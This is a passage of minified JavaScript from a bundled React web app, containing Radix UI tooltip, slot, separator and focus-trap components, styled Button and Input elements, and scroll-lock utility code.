CustomEvent(nN))):c.onClose(),s?.(R)},caller:hv}),S=I.useMemo(()=&gt;j?w.current?&quot;delayed-open&quot;:&quot;instant-open&quot;:&quot;closed&quot;,[j]),_=I.useCallback(()=&gt;{window.clearTimeout(A.current),A.current=0,w.current=!1,E(!0)},[E]),C=I.useCallback(()=&gt;{window.clearTimeout(A.current),A.current=0,E(!1)},[E]),Q=I.useCallback(()=&gt;{window.clearTimeout(A.current),A.current=window.setTimeout(()=&gt;{w.current=!0,E(!0),A.current=0},v)},[v,E]);return I.useEffect(()=&gt;()=&gt;{A.current&amp;&amp;(window.clearTimeout(A.current),A.current=0)},[]),a.jsx(J6,{...d,children:a.jsx(Ole,{scope:t,contentId:p,open:j,stateAttribute:S,trigger:u,onTriggerChange:h,onTriggerEnter:I.useCallback(()=&gt;{c.isOpenDelayedRef.current?Q():_()},[c.isOpenDelayedRef,Q,_]),onTriggerLeave:I.useCallback(()=&gt;{y?C():(window.clearTimeout(A.current),A.current=0)},[C,y]),onOpen:_,onClose:C,disableHoverableContent:y,children:r})})};JL.displayName=hv;var iN=&quot;TooltipTrigger&quot;,XL=I.forwardRef((e,t)=&gt;{const{__scopeTooltip:r,...n}=e,i=C4(iN,r),s=rS(iN,r),o=E4(r),l=I.useRef(null),c=ri(t,l,i.onTriggerChange),d=I.useRef(!1),u=I.useRef(!1),h=I.useCallback(()=&gt;d.current=!1,[]);return I.useEffect(()=&gt;()=&gt;document.removeEventListener(&quot;pointerup&quot;,h),[h]),a.jsx(X6,{asChild:!0,...o,children:a.jsx(an.button,{&quot;aria-describedby&quot;:i.open?i.contentId:void 0,&quot;data-state&quot;:i.stateAttribute,...n,ref:c,onPointerMove:yr(e.onPointerMove,p=&gt;{p.pointerType!==&quot;touch&quot;&amp;&amp;!u.current&amp;&amp;!s.isPointerInTransitRef.current&amp;&amp;(i.onTriggerEnter(),u.current=!0)}),onPointerLeave:yr(e.onPointerLeave,()=&gt;{i.onTriggerLeave(),u.current=!1}),onPointerDown:yr(e.onPointerDown,()=&gt;{i.open&amp;&amp;i.onClose(),d.current=!0,document.addEventListener(&quot;pointerup&quot;,h,{once:!0})}),onFocus:yr(e.onFocus,()=&gt;{d.current||i.onOpen()}),onBlur:yr(e.onBlur,i.onClose),onClick:yr(e.onClick,i.onClose)})})});XL.displayName=iN;var Lle=&quot;TooltipPortal&quot;,[jGe,Mle]=w4(Lle,{forceMount:void 0}),f1=&quot;TooltipContent&quot;,eM=I.forwardRef((e,t)=&gt;{const r=Mle(f1,e.__scopeTooltip),{forceMount:n=r.forceMount,side:i=&quot;top&quot;,...s}=e,o=C4(f1,e.__scopeTooltip);return a.jsx(hu,{present:n||o.open,children:o.disableHoverableContent?a.jsx(tM,{side:i,...s,ref:t}):a.jsx(Ule,{side:i,...s,ref:t})})}),Ule=I.forwardRef((e,t)=&gt;{const r=C4(f1,e.__scopeTooltip),n=rS(f1,e.__scopeTooltip),i=I.useRef(null),s=ri(t,i),[o,l]=I.useState(null),{trigger:c,onClose:d}=r,u=i.current,{onPointerInTransitChange:h}=n,p=I.useCallback(()=&gt;{l(null),h(!1)},[h]),A=I.useCallback((y,v)=&gt;{const w=y.currentTarget,j={x:y.clientX,y:y.clientY},E=Gle(j,w.getBoundingClientRect()),S=Vle(j,E),_=Wle(v.getBoundingClientRect()),C=Yle([...S,..._]);l(C),h(!0)},[h]);return I.useEffect(()=&gt;()=&gt;p(),[p]),I.useEffect(()=&gt;{if(c&amp;&amp;u){const y=w=&gt;A(w,u),v=w=&gt;A(w,c);return c.addEventListener(&quot;pointerleave&quot;,y),u.addEventListener(&quot;pointerleave&quot;,v),()=&gt;{c.removeEventListener(&quot;pointerleave&quot;,y),u.removeEventListener(&quot;pointerleave&quot;,v)}}},[c,u,A,p]),I.useEffect(()=&gt;{if(o){const y=v=&gt;{const w=v.target,j={x:v.clientX,y:v.clientY},E=c?.contains(w)||u?.contains(w),S=!Kle(j,o);E?p():S&amp;&amp;(p(),d())};return document.addEventListener(&quot;pointermove&quot;,y),()=&gt;document.removeEventListener(&quot;pointermove&quot;,y)}},[c,u,o,d,p]),a.jsx(tM,{...e,ref:s})}),[zle,$le]=w4(hv,{isInside:!1}),Hle=Ple(&quot;TooltipContent&quot;),tM=I.forwardRef((e,t)=&gt;{const{__scopeTooltip:r,children:n,&quot;aria-label&quot;:i,onEscapeKeyDown:s,onPointerDownOutside:o,...l}=e,c=C4(f1,r),d=E4(r),{onClose:u}=c;return I.useEffect(()=&gt;(document.addEventListener(nN,u),()=&gt;document.removeEventListener(nN,u)),[u]),I.useEffect(()=&gt;{if(c.trigger){const h=p=&gt;{p.target?.contains(c.trigger)&amp;&amp;u()};return window.addEventListener(&quot;scroll&quot;,h,{capture:!0}),()=&gt;window.removeEventListener(&quot;scroll&quot;,h,{capture:!0})}},[c.trigger,u]),a.jsx(M1,{asChild:!0,disableOutsidePointerEvents:!1,onEscapeKeyDown:s,onPointerDownOutside:o,onFocusOutside:h=&gt;h.preventDefault(),onDismiss:u,children:a.jsxs(eS,{&quot;data-state&quot;:c.stateAttribute,...d,...l,ref:t,style:{...l.style,&quot;--radix-tooltip-content-transform-origin&quot;:&quot;var(--radix-popper-transform-origin)&quot;,&quot;--radix-tooltip-content-available-width&quot;:&quot;var(--radix-popper-available-width)&quot;,&quot;--radix-tooltip-content-available-height&quot;:&quot;var(--radix-popper-available-height)&quot;,&quot;--radix-tooltip-trigger-width&quot;:&quot;var(--radix-popper-anchor-width)&quot;,&quot;--radix-tooltip-trigger-height&quot;:&quot;var(--radix-popper-anchor-height)&quot;},children:[a.jsx(Hle,{children:n}),a.jsx(zle,{scope:r,isInside:!0,children:a.jsx(Pae,{id:c.contentId,role:&quot;tooltip&quot;,children:i||n})})]})})});eM.displayName=f1;var rM=&quot;TooltipArrow&quot;,qle=I.forwardRef((e,t)=&gt;{const{__scopeTooltip:r,...n}=e,i=E4(r);return $le(rM,r).isInside?null:a.jsx(tS,{...i,...n,ref:t})});qle.displayName=rM;function Gle(e,t){const r=Math.abs(t.top-e.y),n=Math.abs(t.bottom-e.y),i=Math.abs(t.right-e.x),s=Math.abs(t.left-e.x);switch(Math.min(r,n,i,s)){case s:return&quot;left&quot;;case i:return&quot;right&quot;;case r:return&quot;top&quot;;case n:return&quot;bottom&quot;;default:throw new Error(&quot;unreachable&quot;)}}function Vle(e,t,r=5){const n=[];switch(t){case&quot;top&quot;:n.push({x:e.x-r,y:e.y+r},{x:e.x+r,y:e.y+r});break;case&quot;bottom&quot;:n.push({x:e.x-r,y:e.y-r},{x:e.x+r,y:e.y-r});break;case&quot;left&quot;:n.push({x:e.x+r,y:e.y-r},{x:e.x+r,y:e.y+r});break;case&quot;right&quot;:n.push({x:e.x-r,y:e.y-r},{x:e.x-r,y:e.y+r});break}return n}function Wle(e){const{top:t,right:r,bottom:n,left:i}=e;return[{x:i,y:t},{x:r,y:t},{x:r,y:n},{x:i,y:n}]}function Kle(e,t){const{x:r,y:n}=e;let i=!1;for(let s=0,o=t.length-1;s&lt;t.length;o=s++){const l=t[s],c=t[o],d=l.x,u=l.y,h=c.x,p=c.y;u&gt;n!=p&gt;n&amp;&amp;r&lt;(h-d)*(n-u)/(p-u)+d&amp;&amp;(i=!i)}return i}function Yle(e){const t=e.slice();return t.sort((r,n)=&gt;r.x&lt;n.x?-1:r.x&gt;n.x?1:r.y&lt;n.y?-1:r.y&gt;n.y?1:0),Zle(t)}function Zle(e){if(e.length&lt;=1)return e.slice();const t=[];for(let n=0;n&lt;e.length;n++){const i=e[n];for(;t.length&gt;=2;){const s=t[t.length-1],o=t[t.length-2];if((s.x-o.x)*(i.y-o.y)&gt;=(s.y-o.y)*(i.x-o.x))t.pop();else break}t.push(i)}t.pop();const r=[];for(let n=e.length-1;n&gt;=0;n--){const i=e[n];for(;r.length&gt;=2;){const s=r[r.length-1],o=r[r.length-2];if((s.x-o.x)*(i.y-o.y)&gt;=(s.y-o.y)*(i.x-o.x))r.pop();else break}r.push(i)}return r.pop(),t.length===1&amp;&amp;r.length===1&amp;&amp;t[0].x===r[0].x&amp;&amp;t[0].y===r[0].y?t:t.concat(r)}var Jle=ZL,Xle=JL,ece=XL,nM=eM;const vm=Jle,iy=Xle,ay=ece,V1=I.forwardRef(({className:e,sideOffset:t=4,...r},n)=&gt;a.jsx(nM,{ref:n,sideOffset:t,className:nr(&quot;z-50 overflow-hidden rounded-md border bg-popover px-3 py-1.5 text-sm text-popover-foreground shadow-md animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2 origin-[--radix-tooltip-content-transform-origin]&quot;,e),...r}));V1.displayName=nM.displayName;var tce=Symbol.for(&quot;react.lazy&quot;),aw=l4[&quot; use &quot;.trim().toString()];function rce(e){return typeof e==&quot;object&quot;&amp;&amp;e!==null&amp;&amp;&quot;then&quot;in e}function iM(e){return e!=null&amp;&amp;typeof e==&quot;object&quot;&amp;&amp;&quot;$$typeof&quot;in e&amp;&amp;e.$$typeof===tce&amp;&amp;&quot;_payload&quot;in e&amp;&amp;rce(e._payload)}function sy(e){const t=nce(e),r=I.forwardRef((n,i)=&gt;{let{children:s,...o}=n;iM(s)&amp;&amp;typeof aw==&quot;function&quot;&amp;&amp;(s=aw(s._payload));const l=I.Children.toArray(s),c=l.find(ace);if(c){const d=c.props.children,u=l.map(h=&gt;h===c?I.Children.count(d)&gt;1?I.Children.only(null):I.isValidElement(d)?d.props.children:null:h);return a.jsx(t,{...o,ref:i,children:I.isValidElement(d)?I.cloneElement(d,void 0,u):null})}return a.jsx(t,{...o,ref:i,children:s})});return r.displayName=`${e}.Slot`,r}var nS=sy(&quot;Slot&quot;);function nce(e){const t=I.forwardRef((r,n)=&gt;{let{children:i,...s}=r;if(iM(i)&amp;&amp;typeof aw==&quot;function&quot;&amp;&amp;(i=aw(i._payload)),I.isValidElement(i)){const o=oce(i),l=sce(s,i.props);return i.type!==I.Fragment&amp;&amp;(l.ref=n?rh(n,o):o),I.cloneElement(i,l)}return I.Children.count(i)&gt;1?I.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var ice=Symbol(&quot;radix.slottable&quot;);function ace(e){return I.isValidElement(e)&amp;&amp;typeof e.type==&quot;function&quot;&amp;&amp;&quot;__radixId&quot;in e.type&amp;&amp;e.type.__radixId===ice}function sce(e,t){const r={...t};for(const n in t){const i=e[n],s=t[n];/^on[A-Z]/.test(n)?i&amp;&amp;s?r[n]=(...l)=&gt;{const c=s(...l);return i(...l),c}:i&amp;&amp;(r[n]=i):n===&quot;style&quot;?r[n]={...i,...s}:n===&quot;className&quot;&amp;&amp;(r[n]=[i,s].filter(Boolean).join(&quot; &quot;))}return{...e,...r}}function oce(e){let t=Object.getOwnPropertyDescriptor(e.props,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning;return r?e.ref:(t=Object.getOwnPropertyDescriptor(e,&quot;ref&quot;)?.get,r=t&amp;&amp;&quot;isReactWarning&quot;in t&amp;&amp;t.isReactWarning,r?e.props.ref:e.props.ref||e.ref)}const AI=768;function lce(){const[e,t]=I.useState(void 0);return I.useEffect(()=&gt;{const r=window.matchMedia(`(max-width: ${AI-1}px)`),n=()=&gt;{t(window.innerWidth&lt;AI)};return r.addEventListener(&quot;change&quot;,n),t(window.innerWidth&lt;AI),()=&gt;r.removeEventListener(&quot;change&quot;,n)},[]),!!e}const iS=Dg(&quot;inline-flex items-center justify-center gap-2 whitespace-nowrap rounded-md text-sm font-medium focus-visible:outline-none focus-visible:ring-1 focus-visible:ring-ring disabled:pointer-events-none disabled:opacity-50 [&amp;_svg]:pointer-events-none [&amp;_svg]:size-4 [&amp;_svg]:shrink-0 hover-elevate active-elevate-2&quot;,{variants:{variant:{default:&quot;bg-primary text-primary-foreground border border-primary-border&quot;,destructive:&quot;bg-destructive text-destructive-foreground border border-destructive-border&quot;,outline:&quot; border [border-color:var(--button-outline)]  shadow-xs active:shadow-none &quot;,secondary:&quot;border bg-secondary text-secondary-foreground border border-secondary-border &quot;,ghost:&quot;border border-transparent&quot;},size:{default:&quot;min-h-9 px-4 py-2&quot;,sm:&quot;min-h-8 rounded-md px-3 text-xs&quot;,lg:&quot;min-h-10 rounded-md px-8&quot;,icon:&quot;h-9 w-9&quot;}},defaultVariants:{variant:&quot;default&quot;,size:&quot;default&quot;}}),ge=I.forwardRef(({className:e,variant:t,size:r,asChild:n=!1,...i},s)=&gt;{const o=n?nS:&quot;button&quot;;return a.jsx(o,{className:nr(iS({variant:t,size:r,className:e})),ref:s,...i})});ge.displayName=&quot;Button&quot;;const Xe=I.forwardRef(({className:e,type:t,...r},n)=&gt;a.jsx(&quot;input&quot;,{type:t,className:nr(&quot;flex h-9 w-full rounded-md border border-input bg-background px-3 py-2 text-base ring-offset-background file:border-0 file:bg-transparent file:text-sm file:font-medium file:text-foreground placeholder:text-muted-foreground focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:cursor-not-allowed disabled:opacity-50 md:text-sm&quot;,e),ref:n,...r}));Xe.displayName=&quot;Input&quot;;var cce=[&quot;a&quot;,&quot;button&quot;,&quot;div&quot;,&quot;form&quot;,&quot;h2&quot;,&quot;h3&quot;,&quot;img&quot;,&quot;input&quot;,&quot;label&quot;,&quot;li&quot;,&quot;nav&quot;,&quot;ol&quot;,&quot;p&quot;,&quot;select&quot;,&quot;span&quot;,&quot;svg&quot;,&quot;ul&quot;],uce=cce.reduce((e,t)=&gt;{const r=sy(`Primitive.${t}`),n=I.forwardRef((i,s)=&gt;{const{asChild:o,...l}=i,c=o?r:t;return typeof window&lt;&quot;u&quot;&amp;&amp;(window[Symbol.for(&quot;radix-ui&quot;)]=!0),a.jsx(c,{...l,ref:s})});return n.displayName=`Primitive.${t}`,{...e,[t]:n}},{}),dce=&quot;Separator&quot;,t7=&quot;horizontal&quot;,fce=[&quot;horizontal&quot;,&quot;vertical&quot;],aM=I.forwardRef((e,t)=&gt;{const{decorative:r,orientation:n=t7,...i}=e,s=hce(n)?n:t7,l=r?{role:&quot;none&quot;}:{&quot;aria-orientation&quot;:s===&quot;vertical&quot;?s:void 0,role:&quot;separator&quot;};return a.jsx(uce.div,{&quot;data-orientation&quot;:s,...l,...i,ref:t})});aM.displayName=dce;function hce(e){return fce.includes(e)}var sM=aM;const Wb=I.forwardRef(({className:e,orientation:t=&quot;horizontal&quot;,decorative:r=!0,...n},i)=&gt;a.jsx(sM,{ref:i,decorative:r,orientation:t,className:nr(&quot;shrink-0 bg-border&quot;,t===&quot;horizontal&quot;?&quot;h-[1px] w-full&quot;:&quot;h-full w-[1px]&quot;,e),...n}));Wb.displayName=sM.displayName;var xI=&quot;focusScope.autoFocusOnMount&quot;,vI=&quot;focusScope.autoFocusOnUnmount&quot;,r7={bubbles:!1,cancelable:!0},mce=&quot;FocusScope&quot;,I4=I.forwardRef((e,t)=&gt;{const{loop:r=!1,trapped:n=!1,onMountAutoFocus:i,onUnmountAutoFocus:s,...o}=e,[l,c]=I.useState(null),d=ql(i),u=ql(s),h=I.useRef(null),p=ri(t,v=&gt;c(v)),A=I.useRef({paused:!1,pause(){this.paused=!0},resume(){this.paused=!1}}).current;I.useEffect(()=&gt;{if(n){let v=function(S){if(A.paused||!l)return;const _=S.target;l.contains(_)?h.current=_:tm(h.current,{select:!0})},w=function(S){if(A.paused||!l)return;const _=S.relatedTarget;_!==null&amp;&amp;(l.contains(_)||tm(h.current,{select:!0}))},j=function(S){if(document.activeElement===document.body)for(const C of S)C.removedNodes.length&gt;0&amp;&amp;tm(l)};document.addEventListener(&quot;focusin&quot;,v),document.addEventListener(&quot;focusout&quot;,w);const E=new MutationObserver(j);return l&amp;&amp;E.observe(l,{childList:!0,subtree:!0}),()=&gt;{document.removeEventListener(&quot;focusin&quot;,v),document.removeEventListener(&quot;focusout&quot;,w),E.disconnect()}}},[n,l,A.paused]),I.useEffect(()=&gt;{if(l){i7.add(A);const v=document.activeElement;if(!l.contains(v)){const j=new CustomEvent(xI,r7);l.addEventListener(xI,d),l.dispatchEvent(j),j.defaultPrevented||(pce(yce(oM(l)),{select:!0}),document.activeElement===v&amp;&amp;tm(l))}return()=&gt;{l.removeEventListener(xI,d),setTimeout(()=&gt;{const j=new CustomEvent(vI,r7);l.addEventListener(vI,u),l.dispatchEvent(j),j.defaultPrevented||tm(v??document.body,{select:!0}),l.removeEventListener(vI,u),i7.remove(A)},0)}}},[l,d,u,A]);const y=I.useCallback(v=&gt;{if(!r&amp;&amp;!n||A.paused)return;const w=v.key===&quot;Tab&quot;&amp;&amp;!v.altKey&amp;&amp;!v.ctrlKey&amp;&amp;!v.metaKey,j=document.activeElement;if(w&amp;&amp;j){const E=v.currentTarget,[S,_]=gce(E);S&amp;&amp;_?!v.shiftKey&amp;&amp;j===_?(v.preventDefault(),r&amp;&amp;tm(S,{select:!0})):v.shiftKey&amp;&amp;j===S&amp;&amp;(v.preventDefault(),r&amp;&amp;tm(_,{select:!0})):j===E&amp;&amp;v.preventDefault()}},[r,n,A.paused]);return a.jsx(an.div,{tabIndex:-1,...o,ref:p,onKeyDown:y})});I4.displayName=mce;function pce(e,{select:t=!1}={}){const r=document.activeElement;for(const n of e)if(tm(n,{select:t}),document.activeElement!==r)return}function gce(e){const t=oM(e),r=n7(t,e),n=n7(t.reverse(),e);return[r,n]}function oM(e){const t=[],r=document.createTreeWalker(e,NodeFilter.SHOW_ELEMENT,{acceptNode:n=&gt;{const i=n.tagName===&quot;INPUT&quot;&amp;&amp;n.type===&quot;hidden&quot;;return n.disabled||n.hidden||i?NodeFilter.FILTER_SKIP:n.tabIndex&gt;=0?NodeFilter.FILTER_ACCEPT:NodeFilter.FILTER_SKIP}});for(;r.nextNode();)t.push(r.currentNode);return t}function n7(e,t){for(const r of e)if(!Ace(r,{upTo:t}))return r}function Ace(e,{upTo:t}){if(getComputedStyle(e).visibility===&quot;hidden&quot;)return!0;for(;e;){if(t!==void 0&amp;&amp;e===t)return!1;if(getComputedStyle(e).display===&quot;none&quot;)return!0;e=e.parentElement}return!1}function xce(e){return e instanceof HTMLInputElement&amp;&amp;&quot;select&quot;in e}function tm(e,{select:t=!1}={}){if(e&amp;&amp;e.focus){const r=document.activeElement;e.focus({preventScroll:!0}),e!==r&amp;&amp;xce(e)&amp;&amp;t&amp;&amp;e.select()}}var i7=vce();function vce(){let e=[];return{add(t){const r=e[0];t!==r&amp;&amp;r?.pause(),e=a7(e,t),e.unshift(t)},remove(t){e=a7(e,t),e[0]?.resume()}}}function a7(e,t){const r=[...e],n=r.indexOf(t);return n!==-1&amp;&amp;r.splice(n,1),r}function yce(e){return e.filter(t=&gt;t.tagName!==&quot;A&quot;)}var yI=0;function aS(){I.useEffect(()=&gt;{const e=document.querySelectorAll(&quot;[data-radix-focus-guard]&quot;);return document.body.insertAdjacentElement(&quot;afterbegin&quot;,e[0]??s7()),document.body.insertAdjacentElement(&quot;beforeend&quot;,e[1]??s7()),yI++,()=&gt;{yI===1&amp;&amp;document.querySelectorAll(&quot;[data-radix-focus-guard]&quot;).forEach(t=&gt;t.remove()),yI--}},[])}function s7(){const e=document.createElement(&quot;span&quot;);return e.setAttribute(&quot;data-radix-focus-guard&quot;,&quot;&quot;),e.tabIndex=0,e.style.outline=&quot;none&quot;,e.style.opacity=&quot;0&quot;,e.style.position=&quot;fixed&quot;,e.style.pointerEvents=&quot;none&quot;,e}var Sd=function(){return Sd=Object.assign||function(t){for(var r,n=1,i=arguments.length;n&lt;i;n++){r=arguments[n];for(var s in r)Object.prototype.hasOwnProperty.call(r,s)&amp;&amp;(t[s]=r[s])}return t},Sd.apply(this,arguments)};function lM(e,t){var r={};for(var n in e)Object.prototype.hasOwnProperty.call(e,n)&amp;&amp;t.indexOf(n)&lt;0&amp;&amp;(r[n]=e[n]);if(e!=null&amp;&amp;typeof Object.getOwnPropertySymbols==&quot;function&quot;)for(var i=0,n=Object.getOwnPropertySymbols(e);i&lt;n.length;i++)t.indexOf(n[i])&lt;0&amp;&amp;Object.prototype.propertyIsEnumerable.call(e,n[i])&amp;&amp;(r[n[i]]=e[n[i]]);return r}function fl(e,t,r,n){var i=arguments.length,s=i&lt;3?t:n===null?n=Object.getOwnPropertyDescriptor(t,r):n,o;if(typeof Reflect==&quot;object&quot;&amp;&amp;typeof Reflect.decorate==&quot;function&quot;)s=Reflect.decorate(e,t,r,n);else for(var l=e.length-1;l&gt;=0;l--)(o=e[l])&amp;&amp;(s=(i&lt;3?o(s):i&gt;3?o(t,r,s):o(t,r))||s);return i&gt;3&amp;&amp;s&amp;&amp;Object.defineProperty(t,r,s),s}function bce(e,t,r){if(r||arguments.length===2)for(var n=0,i=t.length,s;n&lt;i;n++)(s||!(n in t))&amp;&amp;(s||(s=Array.prototype.slice.call(t,0,n)),s[n]=t[n]);return e.concat(s||Array.prototype.slice.call(t))}var Kb=&quot;right-scroll-bar-position&quot;,Yb=&quot;width-before-scroll-bar&quot;,wce=&quot;with-scroll-bars-hidden&quot;,Ece=&quot;--removed-body-scroll-bar-size&quot;;function bI(e,t){return typeof e==&quot;function&quot;?e(t):e&amp;&amp;(e.current=t),e}function Cce(e,t){var r=I.useState(function(){return{value:e,callback:t,facade:{get current(){return r.value},set current(n){var i=r.value;i!==n&amp;&amp;(r.value=n,r.callback(n,i))}}}})[0];return r.callback=t,r.facade}var Ice=typeof window&lt;&quot;u&quot;?I.useLayoutEffect:I.useEffect,o7=new WeakMap;function jce(e,t){var r=Cce(null,function(n){return e.forEach(function(i){return bI(i,n)})});return Ice(function(){var n=o7.get(r);if(n){var i=new Set(n),s=new Set(e),o=r.current;i.forEach(function(l){s.has(l)||bI(l,null)}),s.forEach(function(l){i.has(l)||bI(l,o)})}o7.set(r,e)},[e]),r}function Nce(e){return e}function Sce(e,t){t===void 0&amp;&amp;(t=Nce);var r=[],n=!1,i={read:function(){if(n)throw new Error(&quot;Sidecar: could not `read` from an `assigned` medium. `read` could be used only with `useMedium`.&quot;);return r.length?r[r.length-1]:e},useMedium:function(s){var o=t(s,n);return r.push(o),function(){r=r.filter(function(l){return l!==o})}},assignSyncMedium:function(s){for(n=!0;r.length;){var o=r;r=[],o.forEach(s)}r={push:function(l){return s(l)},filter:function(){return r}}},assignMedium:function(s){n=!0;var o=[];if(r.length){var l=r;r=[],l.forEach(s),o=r}var c=function(){var u=o;o=[],u.forEach(s)},d=function(){return Promise.resolve().then(c)};d(),r={push:function(u){o.push(u),d()},filter:function(u){return o=o.filter(u),r}}}};return i}function Bce(e){e===void 0&amp;&amp;(e={});var t=Sce(null);return t.options=Sd({async:!0,ssr:!1},e),t}var cM=function(e){var t=e.sideCar,r=lM(e,[&quot;sideCar&quot;]);if(!t)throw new Error(&quot;Sidecar: please provide `sideCar` property to import the right car&quot;);var n=t.read();if(!n)throw new Error(&quot;Sidecar medium not found&quot;);return I.createElement(n,Sd({},r))};cM.isSideCarExport=!0;function kce(e,t){return e.useMedium(t),cM}var uM=Bce(),wI=function(){},j4=I.forwardRef(function(e,t){var r=I.useRef(null),n=I.useState({onScrollCapture:wI,onWheelCapture:wI,onTouchMoveCapture:wI}),i=n[0],s=n[1],o=e.forwardProps,l=e.children,c=e.className,d=e.removeScrollBar,u=e.enabled,h=e.shards,p=e.sideCar,A=e.noRelative,y=e.noIsolation,v=e.inert,w=e.allowPinchZoom,j=e.as,E=j===void 0?&quot;div&quot;:j,S=e.gapMode,_=lM(e,[&quot;forwardProps&quot;,&quot;children&quot;,&quot;className&quot;,&quot;removeScrollBar&quot;,&quot;enabled&quot;,&quot;shards&quot;,&quot;sideCar&quot;,&quot;noRelative&quot;,&quot;noIsolation&quot;,&quot;inert&quot;,&quot;allowPinchZoom&quot;,&quot;as&quot;,&quot;gapMode&quot;]),C=p,Q=jce([r,t]),R=Sd(Sd({},_),i);return I.createElement(I.Fragment,null,u&amp;&amp;I.createElement(C,{sideCar:uM,removeScrollBar:d,shards:h,noRelative:A,noIsolation:y,inert:v,setCallbacks:s,allowPinchZoom:!!w,lockRef:r,gapMode:S}),o?I.cloneElement(I.Children.only(l),Sd(Sd({},R),{ref:Q})):I.createElement(E,Sd({},R,{className:c,ref:Q}),l))});j4.defaultProps={enabled:!0,removeScrollBar:!0,inert:!1};j4.classNames={fullWidth:Yb,zeroRight:Kb};var _ce=function(){if(typeof __webpack_nonce__&lt;&quot;u&quot;)return __webpack_nonce__};function Dce(){if(!document)return null;var e=document.createElement(&quot;style&quot;);e.type=&quot;text/css&quot;;var t=_ce();return t&amp;&amp;e.setAttribute(&quot;nonce&quot;,t),e}function Tce(e,t){e.styleSheet?e.styleSheet.cssText=t:e.appendChild(document.createTextNode(t))}function Rce(e){var t=document.head||document.getElementsByTagName(&quot;head&quot;)[0];t.appendChild(e)}var Pce=function(){var e=0,t=null;return{add:function(r){e==0&amp;&amp;(t=Dce())&amp;&amp;(Tce(t,r),Rce(t)),e++},remove:function(){e--,!e&amp;&amp;t&amp;&amp;(t.parentNode&amp;&amp;t.parentNode.removeChild(t),t=null)}}},Qce=function(){var e=Pce();return function(t,r){I.useEffect(function(){return e.add(t),function(){e.remove()}},[t&amp;&amp;r])}},dM=function(){var e=Qce(),t=function(r){var n=r.styles,i=r.dynamic;return e(n,i),null};return t},Fce={left:0,top:0,right:0,gap:0},EI=function(e){return parseInt(e||&quot;&quot;,10)||0},Oce=function(e){var t=window.getComputedStyle(document.body),r=t[e===&quot;padding&quot;?&quot;paddingLeft&quot;:&quot;marginLeft&quot;],n=t[e===&quot;padding&quot;?&quot;paddingTop&quot;:&quot;marginTop&quot;],i=t[e===&quot;padding&quot;?&quot;paddingRight&quot;:&quot;marginRight&quot;];return[EI(r),EI(n),EI(i)]},Lce=function(e){if(e===void 0&amp;&amp;(e=&quot;margin&quot;),typeof window&gt;&quot;u&quot;)return Fce;var t=Oce(e),r=document.documentElement.clientWidth,n=window.innerWidth;return{left:t[0],top:t[1],right:t[2],gap:Math.max(0,n-r+t[2]-t[0])}},Mce=dM(),VA=&quot;data-scroll-locked&quot;,Uce=function(e,t,r,n){var i=e.left,s=e.top,o=e.right,l=e.gap;return r===void 0&amp;&amp;(r=&quot;margin&quot;),`
  .`.concat(wce,` {
   overflow: hidden `).concat(n,`;
   padding-right: `).concat(l,&quot;px &quot;).concat(n,`;
  }
  body[`).concat(VA,`] {
    overflow: hidden `).concat(n,`;
    overscroll-behavior: contain;
    `).concat([t&amp;&amp;&quot;position: relative &quot;.concat(n,&quot;;&quot;),r===&quot;margin&quot;&amp;&amp;`
    padding-left: `.concat(i,`px;
    padding-top: `).concat(s,`px;
    padding-right: `).concat(o,`px;
    margin-left:0;
    margin-top:0;
    margin-right: `).concat(l,&quot;px &quot;).concat(n,`;
    `),r===&quot;padding&quot;&amp;&amp;&quot;padding-right: &quot;.concat(l,&quot;px &quot;).concat(n,&quot;;&quot;)].filter(Boolean).join(&quot;&quot;),`
  }
  
  .`).concat(Kb,` {
    right: `).concat(l,&quot;px &quot;).concat(n,`;
  }
  
  .`).concat(Yb,` {
    margin-right: `).concat(l,&quot;px &quot;).concat(n,`;
  }
  
  .`).concat(Kb,&quot; .&quot;).concat(Kb,` {
    right: 0 `).concat(n,`;
  }
  
  .`).concat(Yb,&quot; .&quot;).concat(Yb,` {
    margin-right: 0 `).concat(n,`;
  }
  
  body[`).concat(VA,`] {
    `).concat(Ece,&quot;: &quot;).concat(l,`px;
  }
`)},l7=function(){var e=parseInt(document.body.getAttribute(VA)||&quot;0&quot;,10);return isFinite(e)?e:0},zce=function(){I.useEffect(function(){return document.body.setAttribute(VA,(l7()+1).toString()),function(){var e=l7()-1;e&lt;=0?document.body.removeAttribute(VA):document.body.setAttribute(VA,e.toString())}},[])},$ce=function(e){var t=e.noRelative,r=e.noImportant,n=e.gapMode,i=n===void 0?&quot;margin&quot;:n;zce();var s=I.useMemo(function(){return Lce(i)},[i]);return I.createElement(Mce,{styles:Uce(s,!t,i,r?&quot;&quot;:&quot;!important&quot;)})},aN=!1;if(typeof window&lt;&quot;u&quot;)try{var V2=Object.defineProperty({},&quot;passive&quot;,{get:function(){return aN=!0,!0}});window.addEventListener(&quot;test&quot;,V2,V2),window.removeEventListener(&quot;test&quot;,V2,V2)}catch{aN=!1}var yA=aN?{passive:!1}:!1,Hce=function(e){return e.tagName===&quot;TEXTAREA&quot;},fM=function(e,t){if(!(e instanceof Element))return!1;var r=window.getComputedStyle(e);return r[t]!==&quot;hidden&quot;&amp;&amp;!(r.overflowY===r.overflowX&amp;&amp;!Hce(e)&amp;&amp;r[t]===&quot;visible&quot;)},qce=function(e){return fM(e,&quot;overflowY&quot;)},Gce=function(e){return fM(e,&quot;overflowX&quot;)},c7=function(e,t){var r=t.ownerDocument,n=t;do{typeof ShadowRoot&lt;&quot;u&quot;&amp;&amp;n instanceof ShadowRoot&amp;&amp;(n=n.host);var i=hM(e,n);if(i){var s=mM(e,n),o=s[1],l=s[2];if(o&gt;l)return!0}n=n.parentNode}while(n&amp;&amp;n!==r.body);return!1},Vce=function(e){var t=e.scrollTop,r=e.scrollHeight,n=e.clientHeight;return[t,r,n]},Wce=function(e){var t=e.scrollLeft,r=e.scrollWidth,n=e.clientWidth;return[t,r,n]},hM=function(e,t){return e===&quot;v&quot;?qce(t):Gce(t)},mM=function(e,t){return e===&quot;v&quot;?Vce(t):Wce(t)},Kce=function(e,t){return 